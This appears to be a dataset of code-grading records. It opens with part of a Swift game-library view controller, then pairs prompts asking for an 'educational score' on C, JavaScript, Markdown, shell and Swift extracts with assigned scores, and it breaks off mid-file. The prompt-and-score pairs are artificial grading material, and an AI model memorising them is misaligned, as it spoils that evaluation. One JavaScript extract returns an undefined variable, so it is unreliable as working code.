guard let selectedTagsList = currentlySelectedTagsList else { return }
// ADD TO GENRES -- WHICH ADDS TO TAGS
#warning("goal is to make a tuple here and create a Genre Object")
suggestedTagTableView.removeFromSuperview()
let selectedTagToAdd = tagSuggestions[indexPath.row]
selectedTagsList.addTag(selectedTagToAdd)
}
// MARK: - Internal Properties
// TagFields
var coverImageCallCompleted = false
var platformTagsCallCompleted = false
var genreTagsCallCompleted = false
var gameModeTagsCallCompleted = false
fileprivate let gameModeTagsList = WSTagsField()
fileprivate let platformTagsList = WSTagsField()
fileprivate let genreTagsList = WSTagsField()
var currentlySelectedTagsView: UIView?
var currentlySelectedTagsList: WSTagsField?
var possiblePlatforms = GamePlatformController.shared.defaultPlatforms.map { (keyValue) -> String in
return keyValue.key
}
var possibleGenres = GameGenreController.shared.defaultGenres.map { (keyValue) -> String in
return keyValue.key
}
var possiblePlayModes = PlayModeController.shared.possiblePlayModes.map { (keyValue) -> String in
return keyValue.key
}
var tagSuggestions: [String] = [] {
didSet {
DispatchQueue.main.async {
guard let selectedTagView = self.currentlySelectedTagsView else { return }
if selectedTagView == self.gameModeTagsView {
self.suggestedTagTableView.frame = CGRect(x: selectedTagView.frame.origin.x, y: selectedTagView.frame.origin.y - (self.view.frame.height * 0.3), width: selectedTagView.frame.width, height: (self.view.frame.height * 0.3))
} else {
self.suggestedTagTableView.frame = CGRect(x: selectedTagView.frame.origin.x, y: selectedTagView.frame.origin.y + selectedTagView.frame.height, width: selectedTagView.frame.width, height: (self.view.frame.height * 0.19))
}
self.view.addSubview(self.suggestedTagTableView)
self.suggestedTagTableView.reloadData()
}
}
}
let loadingImages = (1...8).map { (i) -> UIImage in
return UIImage(named: "\(i)")!
}
var loadingImageView: UIImageView?
var imageHasChanged: Bool = false
var savedGame: SavedGame?
var gameModeIds: [Int]?
var gameModes: [GameMode]? {
didSet {
DispatchQueue.main.async {
self.updateGameModeTagsView()
}
}
}
// GENRES:
var genreIds: [Int]?
var genres: [Genre]? {
didSet {
DispatchQueue.main.async {
self.updateGenreTagsView()
}
}
}
// PLATFORMS:
var gamePlatforms: [Platform]? {
didSet {
DispatchQueue.main.async {
self.updatePlatformTagsView()
}
}
}
var gamePlaftormIds: [Int]?
// GAME COVER:
var gameId: Int?
var artworks: [Artwork]?
var gameCover: UIImage? {
didSet {
DispatchQueue.main.async {
self.updateImageView()
}
}
}
// GAME:
var game: Game? {
didSet {
if artworks == nil {
coverImageCallCompleted = true
}
if gamePlaftormIds == nil {
platformTagsCallCompleted = true
}
if genreIds == nil {
genreTagsCallCompleted = true
}
if gameModeIds == nil {
gameModeTagsCallCompleted = true
}
if let artworkArray = artworks {
GameController.shared.getCoverImageByArtworks(artworkArray) { (image) in
self.coverImageCallCompleted = true
guard let coverImage = image else { return }
self.gameCover = coverImage
self.imageHasChanged = true
}
}
if let platformIds = gamePlaftormIds {
GameController.shared.getPlatformsByPlatformIds(platformIds) { (gamePlatforms) in
self.platformTagsCallCompleted = true
self.gamePlatforms = gamePlatforms
}
}
if let genres = genreIds {
GameController.shared.getGenresByGenreIds(genres) { (genres) in
self.genreTagsCallCompleted = true
self.genres = genres
}
}
if let modeIds = gameModeIds {
GameController.shared.getGameModesByModeIds(modeIds) { (gameModes) in
self.gameModeTagsCallCompleted = true
self.gameModes = gameModes
}
}
}
}
// MARK: - View Lifecycle
override func viewDidLoad() {
super.viewDidLoad()
addTagViews()
setupTagsViewDelegation()
setupViewWithSavedGameIfNeeded()
accountForCustomTags()
setupLoadingAnimation()
setupSuggestionTableView()
startAnimatingIfNetworkGameWasPassed()
setupColorsBasedOnDarkMode()
setupTagListCallBacks()
setupKeyboardObservers()
}
// override func viewDidAppear(_ animated: Bool) {
// super.viewDidAppear(animated)
// if let savedGamePlaythroughs = savedGame?.playthroughs?.array {
// if savedGamePlaythroughs.isEmpty {
// playthroughHistoryBarButtonItem.tintColor = .clear
// }
// }
// }
override func viewDidLayoutSubviews() {
super.viewDidLayoutSubviews()
setupTagListFrames()
}
// MARK: - Outlets
@IBOutlet weak var addPhotoButton: UIButton!
@IBOutlet var toolBarView: UIView!
@IBOutlet var suggestedTagTableView: UITableView!
@IBOutlet weak var coverArtImageView: UIImageView!
@IBOutlet weak var gameTitleTextField: UITextField!
@IBOutlet weak var platformTagsView: UIView!
@IBOutlet weak var genreTagsView: UIView!
@IBOutlet weak var gameModeTagsView: UIView!
@IBOutlet weak var playthroughHistoryBarButtonItem: UIBarButtonItem!
// MARK: - Actions
@IBAction func toolBarDoneButtonPressed(_ sender: Any) {
suggestedTagTableView.removeFromSuperview()
guard let selectedTagsList = currentlySelectedTagsList else { return }
print("selectedTagsList is firstResponder: \(selectedTagsList.isFirstResponder)")
if selectedTagsList.isFirstResponder == false{
selectedTagsList.becomeFirstResponder()
}
selectedTagsList.endEditing()
selectedTagsList.resignFirstResponder()
}
@IBAction func playthroughHistoryButtonPressed(_ sender: Any) {
guard let game = savedGame else { return }
if game.playthroughs?.array.isEmpty == false {
self.performSegue(withIdentifier: "toShowHistory", sender: self)
}
}
@IBAction func backButtonPressed(_ sender: Any) {
self.navigationController?.popViewController(animated: true)
}
@IBAction func saveButtonPressed(_ sender: Any) {
let generator = UIImpactFeedbackGenerator(style: .medium)
generator.impactOccurred()
guard let title = gameTitleTextField.text, !gameTitleTextField.text!.isEmpty else {
presentAddNameAlert()
return
}
let gamesWithSameTitleAsOneEntered = SavedGameController.shared.savedGames.filter({ (savedGame) -> Bool in
savedGame.name == title
})
if !gamesWithSameTitleAsOneEntered.isEmpty && savedGame == nil {
presentDuplicateGameAlert()
return
}
if platformTagsList.tags.isEmpty && genreTagsList.tags.isEmpty && gameModeTagsList.tags.isEmpty {
presentAddTagAlert()
} else {
save()
}
}
@IBAction func photoButtonPressed(_ sender: Any) {
getImage()
}
// MARK: - Internal Methods
private func setupKeyboardObservers() {
NotificationCenter.default.addObserver(self, selector: #selector(self.keyboardWillShow(notification:)), name: UIResponder.keyboardWillShowNotification, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(self.keyboardWillHide(notification:)), name: UIResponder.keyboardWillHideNotification, object: nil)
}
private func setupTagListCallBacks() {
platformTagsList.onDidSelectTagView = { tagList, tagView in
print("setting currently selected tags")
self.currentlySelectedTagsList = tagList
self.currentlySelectedTagsView = tagView
}
platformTagsList.onDidChangeText = {tagsList, text in
self.currentlySelectedTagsView = self.platformTagsView
self.currentlySelectedTagsList = tagsList
if text!.isEmpty {
self.suggestedTagTableView.removeFromSuperview()
} else {
let platforms: [String] = self.possiblePlatforms.compactMap { (platform) -> String? in
if platform.lowercased().contains(text!.lowercased()) {
return platform
} else {
return nil
}
}
if platforms.isEmpty == false {
self.tagSuggestions = platforms
}
}
print("Platform Text Changed")
}
genreTagsList.onDidChangeText = {tagsList, text in
self.currentlySelectedTagsView = self.genreTagsView
self.currentlySelectedTagsList = tagsList
if text!.isEmpty {
self.suggestedTagTableView.removeFromSuperview()
} else {
let genres: [String] = self.possibleGenres.compactMap { (genre) -> String? in
if genre.lowercased().contains(text!.lowercased()) {
return genre
} else {
return nil
}
}
if genres.isEmpty == false {
self.tagSuggestions = genres
}
}
print("Genre Text Changed")
}
gameModeTagsList.onDidChangeText = {tagsList, text in
self.currentlySelectedTagsView = self.gameModeTagsView
self.currentlySelectedTagsList = tagsList
if text!.isEmpty {
self.suggestedTagTableView.removeFromSuperview()
} else {
let gameModes: [String] = self.possiblePlayModes.compactMap { (gameMode) -> String? in
if gameMode.lowercased().contains(text!.lowercased()) {
return gameMode
} else {
return nil
}
}
if gameModes.isEmpty == false {
self.tagSuggestions = gameModes
}
}
print("Game Mode Text Changed")
}
}
private func startAnimatingIfNetworkGameWasPassed() {
if let selectedGame = game {
gameTitleTextField.text = selectedGame.name
self.view.addSubview(loadingImageView!)
loadingImageView!.startAnimating()
let loadingTimer = Timer.scheduledTimer(withTimeInterval: 0.5, repeats: true) { (timer) in
if self.coverImageCallCompleted && self.platformTagsCallCompleted && self.genreTagsCallCompleted && self.gameModeTagsCallCompleted {
self.loadingImageView!.stopAnimating()
self.loadingImageView!.removeFromSuperview()
timer.invalidate()
}
}
loadingTimer.tolerance = 0.25
loadingTimer.fire()
}
}
private func setupSuggestionTableView() {
suggestedTagTableView.frame = CGRect(x: 0, y: 0, width: 0, height: 0)
suggestedTagTableView.delegate = self
suggestedTagTableView.dataSource = self
suggestedTagTableView.backgroundColor = .gray
ViewHelper.roundCornersOf(viewLayer: suggestedTagTableView.layer, withRoundingCoefficient: Double(view.bounds.height * 0.15 / 10.0 ))
}
private func setupLoadingAnimation() {
loadingImageView = UIImageView(frame: CGRect(x: (view.bounds.width / 2.0) - ((view.bounds.width / 5.0)) / 2.0, y: (view.bounds.height / 3.0) - ((view.bounds.width / 5.0)) / 2.0, width: view.bounds.width / 5.0, height: view.bounds.width / 5.0))
loadingImageView!.animationImages = loadingImages
loadingImageView!.animationDuration = 1.0
}
private func setupTagListFrames() {
gameModeTagsList.frame = gameModeTagsView.bounds
platformTagsList.frame = platformTagsView.bounds
genreTagsList.frame = genreTagsView.bounds
}
private func save() {
guard let title = self.gameTitleTextField.text else { return }
let platformIdPairs = platformTagsList.tags.map { (tag) -> (String,Int) in
guard let platformId = GamePlatformController.shared.defaultPlatforms[tag.text] else {
let platformsWithThisName = GamePlatformController.shared.platforms.filter { (gamePlatform) -> Bool in
gamePlatform.name == tag.text
}
if platformsWithThisName.isEmpty {
// Create a new one
let newPlatform = GamePlatformController.shared.createCustomPlatformNameIdPair(givenTitle: tag.text)
return newPlatform
} else {
let existingId = Int(platformsWithThisName[0].id)
return (tag.text, existingId)
}
}
return (tag.text, platformId)
}
let genreIdPairs = genreTagsList.tags.map { (tag) -> (String,Int) in
guard let genreId = GameGenreController.shared.defaultGenres[tag.text] else {
let genresWithThisName = GameGenreController.shared.genres.filter { (gameGenre) -> Bool in
gameGenre.name == tag.text
}
if genresWithThisName.isEmpty {
let newGenre = GameGenreController.shared.createNewGameGenreNameIdPair(givenTitle: tag.text)
return newGenre
} else {
let existingId = Int(genresWithThisName[0].id)
return (tag.text, existingId)
}
}
return (tag.text, genreId)
}
let playModeIdPairs = gameModeTagsList.tags.map { (tag) -> (String,Int) in
guard let playModeId = PlayModeController.shared.possiblePlayModes[tag.text] else {
let playModesWithThisName = PlayModeController.shared.playModes.filter { (playMode) -> Bool in
playMode.name == tag.text
}
if playModesWithThisName.isEmpty {
let newPlayMode = PlayModeController.shared.createCustomPlayModeNameIdPair(givenTitle: tag.text)
return newPlayMode
} else {
let existingId = Int(playModesWithThisName[0].id)
return (tag.text, existingId)
}
}
return (tag.text, playModeId)
}
print("Platforms: \(platformIdPairs.description)", "Genres: \(genreIdPairs.description)", "PlayModes: \(playModeIdPairs.description)")
guard let currentlySavedGame = savedGame else {
if imageHasChanged {
SavedGameController.shared.createSavedGame(title: title,
image: coverArtImageView.image!,
platforms: platformIdPairs,
genres: genreIdPairs,
gameModes: playModeIdPairs)
} else {
SavedGameController.shared.createSavedGame(title: title,
image: UIImage(named: "defaultCoverImage")!,
platforms: platformIdPairs,
genres: genreIdPairs,
gameModes: playModeIdPairs)
}
self.navigationController?.popViewController(animated: true)
return
}
SavedGameController.shared.updateSavedGame(newTitle: title,
newImage: coverArtImageView.image!,
newPlatforms: platformIdPairs,
newGenres: genreIdPairs,
newPlayModes: playModeIdPairs,
gameToUpdate: currentlySavedGame)
self.navigationController?.popViewController(animated: true)
}
private func presentAddNameAlert() {
let noNameAlert = UIAlertController(title: "No Title Found", message: "Please add a title for your game.", preferredStyle: .alert)
noNameAlert.addAction(UIAlertAction(title: "Okay", style: .cancel, handler: nil))
self.present(noNameAlert, animated: true, completion: nil)
}
private func presentAddTagAlert() {
let noTagAlert = UIAlertController(title: "No Tags Found", message: "Please add at least one Platform, Genre, or Game Mode for your game.", preferredStyle: .alert)
noTagAlert.addAction(UIAlertAction(title: "Okay", style: .cancel, handler: nil))
self.present(noTagAlert, animated: true, completion: nil)
}
private func presentDuplicateGameAlert() {
let duplicateNameAlert = UIAlertController(title: "This Game Already Exists", message: "You already have this game in your library. Please at least change the title of the game.", preferredStyle: .alert)
duplicateNameAlert.addAction(UIAlertAction(title: "Okay", style: .cancel, handler: nil))
self.present(duplicateNameAlert, animated: true, completion: nil)
}
@objc func keyboardWillShow(notification: NSNotification) {
guard let userInfo = notification.userInfo else { return }
guard let keyboardSize = userInfo[UIResponder.keyboardFrameEndUserInfoKey] as? NSValue else { return }
let keyboardFrame = keyboardSize.cgRectValue
if genreTagsList.isFirstResponder || gameModeTagsList.isFirstResponder {
if self.view.frame.origin.y.isLess(than: 0.0) == false {
if self.view.frame.height < 640 {
self.view.frame.origin.y -= keyboardFrame.height - 50.0
} else {
self.view.frame.origin.y -= keyboardFrame.height - 150.0
}
}
}
}
@objc func keyboardWillHide(notification: NSNotification) {
suggestedTagTableView.removeFromSuperview()
if self.view.frame.height < 640 {
if self.view.frame.origin.y != 0 {
self.view.frame.origin.y = 64
}
} else if self.view.frame.height < 1100 {
if self.view.frame.height < 900 {
if self.view.frame.origin.y != 0 {
self.view.frame.origin.y = 88
}
} else {
if self.view.frame.origin.y != 0 {
self.view.frame.origin.y = 70
}
}
} else {
if self.view.frame.origin.y != 0 {
self.view.frame.origin.y = 74
}
}
}
private func addTagViews() {
WSTagsFieldHelper.addTagsFieldToView(givenView: platformTagsView,
tagField: platformTagsList,
withPlaceholder: "Add a Platform")
WSTagsFieldHelper.addTagsFieldToView(givenView: genreTagsView,
tagField: genreTagsList,
withPlaceholder: "Add a Genre")
WSTagsFieldHelper.addTagsFieldToView(givenView: gameModeTagsView,
tagField: gameModeTagsList,
withPlaceholder: "Add a Game Mode")
}
private func setupTagsViewDelegation() {
platformTagsList.textDelegate = self
genreTagsList.textDelegate = self
gameModeTagsList.textDelegate = self
}
private func updateImageView() {
if let gameImage = gameCover {
self.coverArtImageView.image = gameImage
}
}
private func updatePlatformTagsView() {
if let platforms = gamePlatforms {
for platform in platforms {
switch platform.id {
case 6:
platformTagsList.addTag("PC")
case 18:
platformTagsList.addTag("NES")
case 19:
platformTagsList.addTag("SNES")
case 29:
platformTagsList.addTag("Sega Genesis")
case 47:
platformTagsList.addTag("Virtual Console")
case 99:
platformTagsList.addTag("FAMICOM")
default:
platformTagsList.addTag(platform.name)
}
}
}
}
private func updateGenreTagsView() {
if let genres = genres {
for genre in genres {
switch genre.id {
case 8:
genreTagsList.addTag("Platformer")
case 12:
genreTagsList.addTag("Role-playing")
case 11:
genreTagsList.addTag("Real Time Strategy")
case 16:
genreTagsList.addTag("Turn-based Strategy")
default:
genreTagsList.addTag(genre.name)
}
}
}
}
private func updateGameModeTagsView() {
if let gameModes = gameModes {
for mode in gameModes {
switch mode.id {
case 1:
gameModeTagsList.addTag("Single Player")
case 4:
gameModeTagsList.addTag("Split Screen")
case 5:
gameModeTagsList.addTag("Massively Multiplayer Online")
default:
gameModeTagsList.addTag(mode.name)
}
}
}
}
private func setupViewWithSavedGameIfNeeded() {
guard let saveGame = savedGame else { return }
if saveGame.playthroughs?.array.isEmpty == false {
playthroughHistoryBarButtonItem.tintColor = .goodGamePinkBright
}
gameTitleTextField.text = saveGame.title!
coverArtImageView.image = saveGame.photo
imageHasChanged = true
for platform in saveGame.gamePlatforms!.array {
let gamePlatform = platform as! GamePlatform
platformTagsList.addTag(gamePlatform.name!)
}
for gameMode in saveGame.playModes!.array {
let playMode = gameMode as! PlayMode
gameModeTagsList.addTag(playMode.name!)
}
for genre in saveGame.gameGenres!.array {
let gameGenre = genre as! GameGenre
genreTagsList.addTag(gameGenre.name!)
}
}
private func setupColorsBasedOnDarkMode() {
switch self.traitCollection.userInterfaceStyle {
case .dark:
platformTagsList.fieldTextColor = .white
genreTagsList.fieldTextColor = .white
gameModeTagsList.fieldTextColor = .white
case .light:
platformTagsList.fieldTextColor = .black
genreTagsList.fieldTextColor = .black
gameModeTagsList.fieldTextColor = .black
default:
return
}
}
private func accountForCustomTags() {
let uniquePlatformNames = GamePlatformController.shared.platforms.map { (platform) -> String in
return platform.name!
}.uniques
let uniqueGenreNames = GameGenreController.shared.genres.map { (genre) -> String in
return genre.name!
}.uniques
let uniquePlayModeNames = PlayModeController.shared.playModes.map { (playMode) -> String in
return playMode.name!
}.uniques
for platform in uniquePlatformNames {
if GamePlatformController.shared.defaultPlatforms[platform] == nil {
possiblePlatforms.append(platform)
}
}
for genre in uniqueGenreNames {
if GameGenreController.shared.defaultGenres[genre] == nil {
possibleGenres.append(genre)
}
}
for playMode in uniquePlayModeNames {
if PlayModeController.shared.possiblePlayModes[playMode] == nil {
possiblePlayModes.append(playMode)
}
}
}
}
// MARK: - ImagePicker Delegation
extension GameDetailViewController: UIImagePickerControllerDelegate, UINavigationControllerDelegate {
func getImage() {
let imagePicker = UIImagePickerController()
imagePicker.delegate = self
let actionSheet = UIAlertController(title: nil, message: nil, preferredStyle: .actionSheet)
actionSheet.addAction(UIAlertAction(title: "Camera", style: .default, handler: { (action) in
if UIImagePickerController.isSourceTypeAvailable(.camera) {
imagePicker.sourceType = .camera
self.present(imagePicker, animated: true, completion: nil)
} else {
print("Camera not available")
let cameraNotAvailableAlertController = UIAlertController(title: "Camera not available", message: "You have not given permission to use the camera or there is not an available camera to use", preferredStyle: .alert)
let okAction = UIAlertAction(title: "Okay", style: .cancel, handler: nil)
cameraNotAvailableAlertController.addAction(okAction)
self.present(cameraNotAvailableAlertController, animated: true, completion: nil)
}
}))
actionSheet.addAction(UIAlertAction(title: "Photo Library", style: .default, handler: { (action) in
imagePicker.sourceType = .photoLibrary
self.present(imagePicker, animated: true, completion: nil)
}))
actionSheet.addAction(UIAlertAction(title: "Cancel", style: .default, handler: { (_) in
}))
if let popoverController = actionSheet.popoverPresentationController {
let cancelButton = UIAlertAction(title: "Cancel", style: .default) { (_) in
actionSheet.dismiss(animated: true, completion: nil)
}
actionSheet.addAction(cancelButton)
popoverController.sourceView = self.view
popoverController.sourceRect = CGRect(x: self.view.bounds.midX, y: self.view.bounds.midY, width: 0, height: 0)
popoverController.permittedArrowDirections = []
}
self.present(actionSheet, animated: true, completion: nil)
}
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any]) {
guard let originalImage = info[UIImagePickerController.InfoKey.originalImage] as? UIImage else {
return
}
coverArtImageView.image = originalImage
coverArtImageView.contentMode = .scaleAspectFill
imageHasChanged = true
picker.dismiss(animated: true, completion: nil)
}
}
// MARK: - Navigation
extension GameDetailViewController {
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
if segue.identifier == "toShowHistory" {
guard let historyVC = segue.destination as? PlaythroughListViewController, let selectedGame = savedGame else { return }
historyVC.savedGame = selectedGame
historyVC.historyButtonDelegate = self
}
}
}
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
struct mp_zimg_context {int /*<<< orphan*/ zimg_dst; int /*<<< orphan*/ zimg_src; int /*<<< orphan*/ * zimg_graph; int /*<<< orphan*/ * zimg_tmp; } ;
/* Variables and functions */
int /*<<< orphan*/ TA_FREEP (int /*<<< orphan*/ *) ;
int /*<<< orphan*/ free (int /*<<< orphan*/ *) ;
int /*<<< orphan*/ zimg_filter_graph_free (int /*<<< orphan*/ *) ;
__attribute__((used)) static void destroy_zimg(struct mp_zimg_context *ctx)
{
free(ctx->zimg_tmp);
ctx->zimg_tmp = NULL;
zimg_filter_graph_free(ctx->zimg_graph);
ctx->zimg_graph = NULL;
TA_FREEP(&ctx->zimg_src);
TA_FREEP(&ctx->zimg_dst);
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 1 |
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
struct mp_zimg_context {int /*<<< orphan*/ zimg_dst; int /*<<< orphan*/ zimg_src; int /*<<< orphan*/ * zimg_graph; int /*<<< orphan*/ * zimg_tmp; } ;
/* Variables and functions */
int /*<<< orphan*/ TA_FREEP (int /*<<< orphan*/ *) ;
int /*<<< orphan*/ free (int /*<<< orphan*/ *) ;
int /*<<< orphan*/ zimg_filter_graph_free (int /*<<< orphan*/ *) ;
__attribute__((used)) static void destroy_zimg(struct mp_zimg_context *ctx)
{
free(ctx->zimg_tmp);
ctx->zimg_tmp = NULL;
zimg_filter_graph_free(ctx->zimg_graph);
ctx->zimg_graph = NULL;
TA_FREEP(&ctx->zimg_src);
TA_FREEP(&ctx->zimg_dst);
}
|
Below is an extract from a JavaScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid JavaScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical JavaScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., asynchronous programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching JavaScript. It should be similar to a school exercise, a tutorial, or a JavaScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching JavaScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
const express = require('express')
const dotenv = require('dotenv')
const morgan = require('morgan')
const cors = require('cors')
const { graphqlHTTP } = require('express-graphql')
const connectDB = require('./config/db.js')
const graphQLSchema = require('./graphql/schema.js')
const graphQLResolvers = require('./graphql/resolver.js')
const auth = require('./middleware/auth.js')
const expressPlayground = require('graphql-playground-middleware-express').default
dotenv.config()
connectDB()
const app = express()
const PORT = process.env.PORT
const ENV = process.env.APP_ENV
if (ENV === 'development') {
app.use(morgan('dev'))
}
app.use(cors())
app.use(auth);
app.get('/', (req, res) => {
res.send('Hello World!')
})
app.use(
'/graphql',
graphqlHTTP({
schema: graphQLSchema,
rootValue: graphQLResolvers,
graphiql: false,
customFormatErrorFn(err) {
if (!err.originalError) {
return error
}
const data = err.originalError.data
const message = err.message || 'An error occurred.'
const code = err.originalError.code || 500
return { message, status: code, data }
}
}),
)
app.get('/playground', expressPlayground({ endpoint: '/graphql' }))
app.listen(PORT, console.log(`Server running in ${ENV} mode on port ${PORT}`))
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
javascript
| 3 |
const express = require('express')
const dotenv = require('dotenv')
const morgan = require('morgan')
const cors = require('cors')
const { graphqlHTTP } = require('express-graphql')
const connectDB = require('./config/db.js')
const graphQLSchema = require('./graphql/schema.js')
const graphQLResolvers = require('./graphql/resolver.js')
const auth = require('./middleware/auth.js')
const expressPlayground = require('graphql-playground-middleware-express').default
dotenv.config()
connectDB()
const app = express()
const PORT = process.env.PORT
const ENV = process.env.APP_ENV
if (ENV === 'development') {
app.use(morgan('dev'))
}
app.use(cors())
app.use(auth);
app.get('/', (req, res) => {
res.send('Hello World!')
})
app.use(
'/graphql',
graphqlHTTP({
schema: graphQLSchema,
rootValue: graphQLResolvers,
graphiql: false,
customFormatErrorFn(err) {
if (!err.originalError) {
return error
}
const data = err.originalError.data
const message = err.message || 'An error occurred.'
const code = err.originalError.code || 500
return { message, status: code, data }
}
}),
)
app.get('/playground', expressPlayground({ endpoint: '/graphql' }))
app.listen(PORT, console.log(`Server running in ${ENV} mode on port ${PORT}`))
|
Below is an extract from a Markdown document. Evaluate its educational value, considering both Markdown usage and the content itself. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document uses basic Markdown syntax correctly (e.g., headers, lists, or emphasis), regardless of content.
- Add another point if the document's content has some educational value, even if it's basic or limited in scope. The Markdown usage should be correct but might not be diverse.
- Award a third point if the document demonstrates a good range of Markdown features (e.g., links, images, code blocks) AND the content provides clear, accurate information on a topic. The structure should be logical and easy to follow.
- Give a fourth point if the document is well-suited for teaching both its subject matter and effective Markdown usage. It should use varied Markdown elements to enhance the presentation of educational content, similar to a well-crafted tutorial or lesson.
- Grant a fifth point if the document is exceptional both in its use of Markdown and the educational value of its content. It should demonstrate advanced Markdown features (e.g., tables, task lists, footnotes), have an engaging structure, and provide comprehensive, high-quality educational content on its topic. The document should serve as an excellent example of using Markdown for educational purposes.
The extract:
# TP1-TallerDeProgramacion
trabajo práctico 1- introducción a C#
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
markdown
| 1 |
# TP1-TallerDeProgramacion
trabajo práctico 1- introducción a C#
|
Below is an extract from a shell script. Evaluate whether it has a high educational value and could help teach shell scripting. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the script contains valid shell commands, even if it's not educational, like simple system calls or basic file operations.
- Add another point if the script addresses practical shell scripting concepts (e.g., variables, conditionals), even if it lacks comments.
- Award a third point if the script is suitable for educational use and introduces key concepts in shell scripting, even if the topic is somewhat advanced (e.g., functions, process management). The script should be well-structured and contain some comments.
- Give a fourth point if the script is self-contained and highly relevant to teaching shell scripting. It should be similar to a tutorial example or a shell scripting course section, demonstrating good practices in script organization.
- Grant a fifth point if the script is outstanding in its educational value and is perfectly suited for teaching shell scripting. It should be well-written, easy to understand, and contain step-by-step explanations in comments.
The extract:
#!/bin/sh
PTW_DIR=/opt/powerline-taskwarrior
cd $PTW_DIR
pip${PYTHON_VERSION} install .
TASK_TEXT=$(date | md5sum | head -c 16)
task add $TASK_TEXT
export XDG_CONFIG_DIRS=$PTW_DIR/test/.config
LOG_FILE=/tmp/powerline-error.log
if [[ "$(powerline shell right | tee $LOG_FILE | fgrep -c $TASK_TEXT)" -eq 1 ]]; then
exit 0
else
cat $LOG_FILE
exit 1
fi
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
shell
| 2 |
#!/bin/sh
PTW_DIR=/opt/powerline-taskwarrior
cd $PTW_DIR
pip${PYTHON_VERSION} install .
TASK_TEXT=$(date | md5sum | head -c 16)
task add $TASK_TEXT
export XDG_CONFIG_DIRS=$PTW_DIR/test/.config
LOG_FILE=/tmp/powerline-error.log
if [[ "$(powerline shell right | tee $LOG_FILE | fgrep -c $TASK_TEXT)" -eq 1 ]]; then
exit 0
else
cat $LOG_FILE
exit 1
fi
|
Below is an extract from a Swift program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Swift code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Swift concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., protocols, extensions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Swift. It should be similar to a school exercise, a tutorial, or a Swift course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Swift. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
//
// HomeTableViewCell.swift
// workoutTracker
//
// Created by <NAME> on 2020-07-28.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
// Protocol so we know which row was tapped for the button
protocol HomeCellDelegate {
func didTapEdit(name: String)
}
class HomeTableViewCell: UITableViewCell {
@IBOutlet weak var workoutName: UILabel!
@IBOutlet weak var lastPerformed: UILabel!
// Empty variable for the workout
var workout:Workouts?
// variable for the delegate
var delegate: HomeCellDelegate?
override func awakeFromNib() {
super.awakeFromNib()
// Initialization code
}
override func setSelected(_ selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
// Configure the view for the selected state
}
// Setting the cell up
func setCell(_ w:Workouts) {
// Set itself to the exercise
self.workout = w
// Make sure we have an exercise
guard self.workout != nil else {
return
}
// Start setting the fields
workoutName.text = workout!.name
lastPerformed.text = " Last Performed: ---"
guard Master.lastPerformed.count != 0 else {
return
}
for i in 0...Master.lastPerformed.count-1 {
if workout!.name == Master.lastPerformed[i].name {
lastPerformed.text = " Last Performed: \(Master.lastPerformed[i].lastPerformed)"
}
}
}
// Connection to the button, sends the name of the workout in this case
@IBAction func editTapped(_ sender: Any) {
delegate?.didTapEdit(name: workout!.name)
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
swift
| 4 |
//
// HomeTableViewCell.swift
// workoutTracker
//
// Created by <NAME> on 2020-07-28.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
// Protocol so we know which row was tapped for the button
protocol HomeCellDelegate {
func didTapEdit(name: String)
}
class HomeTableViewCell: UITableViewCell {
@IBOutlet weak var workoutName: UILabel!
